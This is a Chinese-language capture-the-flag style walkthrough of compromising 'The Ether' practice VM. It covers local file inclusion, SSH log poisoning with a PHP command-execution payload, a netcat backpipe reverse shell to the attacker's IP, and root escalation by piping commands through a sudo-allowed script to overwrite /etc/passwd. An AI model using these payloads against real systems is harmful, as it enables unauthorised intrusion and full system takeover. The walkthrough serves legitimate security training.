渗透测试之the Ether靶机实战
字数 1279 2025-08-27 12:33:31

The Ether靶机渗透测试实战教程

环境准备

  1. 靶机下载与配置

    • 下载The Ether靶机(VMware镜像)
    • 解压后直接点击.vmx文件用VMware运行
    • 网络模式设置为NAT模式,与攻击机在同一网段
  2. 攻击机配置

    • 使用Kali Linux作为攻击机
    • IP地址:222.182.111.129(示例)

信息收集阶段

1. 确定靶机IP

nmap -sP 222.182.111.1/24
  • 扫描结果分析:
    • 网关:222.182.111.1
    • IP分配结束地址:222.182.111.254
    • 确定靶机IP为:222.182.111.142

2. 端口与服务扫描

nmap -p- -A 222.182.111.142
  • 开放端口:
    • 22 (SSH)
    • 80 (HTTP)

Web应用测试

1. 初步探测

  • 访问http://222.182.111.142
  • 点击"About Us"发现URL参数:?file=about.php
  • 可能存在文件包含漏洞

2. 文件包含漏洞测试

  1. 使用LFI字典爆破

    • 字典来源:LFI-JHADDIX.txt(来自SecLists项目)
    • 工具:Burp Suite Intruder
  2. 发现可利用文件

    • /var/log/auth.log - SSH登录日志文件
    • 访问时重定向到index.php,需用Burp Repeater查看原始响应

漏洞利用

1. 日志注入攻击

  1. 原理

    • 通过SSH登录尝试将恶意代码注入auth.log
    • 利用文件包含漏洞执行日志中的恶意代码
  2. 实施步骤

    ssh '<?php system($_GET["cmd"]); ?>'@222.182.111.142
    
    • 注意:用户名需用单引号包裹
  3. 验证注入

    • 访问http://222.182.111.142/?file=/var/log/auth.log&cmd=id
    • 确认命令执行成功

2. 反弹Shell获取

  1. 初始尝试(失败)

    /bin/nc -e /bin/sh 222.182.111.129 4444
    
    • 404错误,可能因-e参数不被支持
  2. 替代方案(成功)

    mknod backpipe p && nc 222.182.111.129 4444 0<backpipe | /bin/bash 1>backpipe
    
    • URL编码后:
      mknod+backpipe+p+%26%26+nc+222.182.111.129+4444+0%3cbackpipe+%7c+%2fbin%2fbash+1%3ebackpipe
      
  3. 监听设置

    nc -lvp 4444
    

权限提升

1. 发现特权脚本

  • 当前目录发现xxxlogauditorxxx.py
  • sudo -l检查发现可无密码运行该脚本

2. 命令注入提权

  1. 测试命令执行

    sudo ./xxxlogauditorxxx.py
    
    • 输入:/var/log/auth.log | id
    • 确认以root权限执行
  2. 添加root用户

    • 生成加盐密码:
      openssl passwd -1 -salt jlzj abc123
      
    • 创建包含新用户的passwd文件:
      jlzj:$1$jlzj$wv1ld4x9O1bJQShzD.f3P.:0:0:root:/root:/bin/bash
      
    • 下载到靶机:
      wget http://222.182.111.129/passwd -O /tmp/passwd
      
    • 覆盖原文件:
      sudo ./xxxlogauditorxxx.py /var/log/auth.log | cp /tmp/passwd /etc/passwd
      
  3. 切换用户

    su jlzj
    
    • 密码:abc123

Flag获取

strings flag.png
  • 解码base64内容获得完整flag信息

关键突破点总结

  1. LFI漏洞发现

    • 使用专业字典发现可利用的日志文件
    • 识别出auth.log的可注入特性
  2. 非标准反弹Shell

    • 适应环境限制,使用替代的nc命令格式
    • 多种反弹Shell方法尝试
  3. 逻辑或命令注入

    • 利用脚本输入验证不严的缺陷
    • 通过|操作符实现命令注入

参考资源

  1. 多种环境反弹Shell方法:http://www.zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html
  2. SecLists项目:https://github.com/danielmiessler/SecLists
The Ether靶机渗透测试实战教程 环境准备 靶机下载与配置 : 下载The Ether靶机(VMware镜像) 解压后直接点击.vmx文件用VMware运行 网络模式设置为NAT模式,与攻击机在同一网段 攻击机配置 : 使用Kali Linux作为攻击机 IP地址:222.182.111.129(示例) 信息收集阶段 1. 确定靶机IP 扫描结果分析: 网关:222.182.111.1 IP分配结束地址:222.182.111.254 确定靶机IP为:222.182.111.142 2. 端口与服务扫描 开放端口: 22 (SSH) 80 (HTTP) Web应用测试 1. 初步探测 访问http://222.182.111.142 点击"About Us"发现URL参数: ?file=about.php 可能存在文件包含漏洞 2. 文件包含漏洞测试 使用LFI字典爆破 : 字典来源:LFI-JHADDIX.txt(来自SecLists项目) 工具:Burp Suite Intruder 发现可利用文件 : /var/log/auth.log - SSH登录日志文件 访问时重定向到index.php,需用Burp Repeater查看原始响应 漏洞利用 1. 日志注入攻击 原理 : 通过SSH登录尝试将恶意代码注入auth.log 利用文件包含漏洞执行日志中的恶意代码 实施步骤 : 注意:用户名需用单引号包裹 验证注入 : 访问 http://222.182.111.142/?file=/var/log/auth.log&cmd=id 确认命令执行成功 2. 反弹Shell获取 初始尝试(失败) : 404错误,可能因-e参数不被支持 替代方案(成功) : URL编码后: 监听设置 : 权限提升 1. 发现特权脚本 当前目录发现 xxxlogauditorxxx.py sudo -l 检查发现可无密码运行该脚本 2. 命令注入提权 测试命令执行 : 输入: /var/log/auth.log | id 确认以root权限执行 添加root用户 : 生成加盐密码: 创建包含新用户的passwd文件: 下载到靶机: 覆盖原文件: 切换用户 : 密码:abc123 Flag获取 解码base64内容获得完整flag信息 关键突破点总结 LFI漏洞发现 : 使用专业字典发现可利用的日志文件 识别出auth.log的可注入特性 非标准反弹Shell : 适应环境限制,使用替代的nc命令格式 多种反弹Shell方法尝试 逻辑或命令注入 : 利用脚本输入验证不严的缺陷 通过 | 操作符实现命令注入 参考资源 多种环境反弹Shell方法:http://www.zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html SecLists项目:https://github.com/danielmiessler/SecLists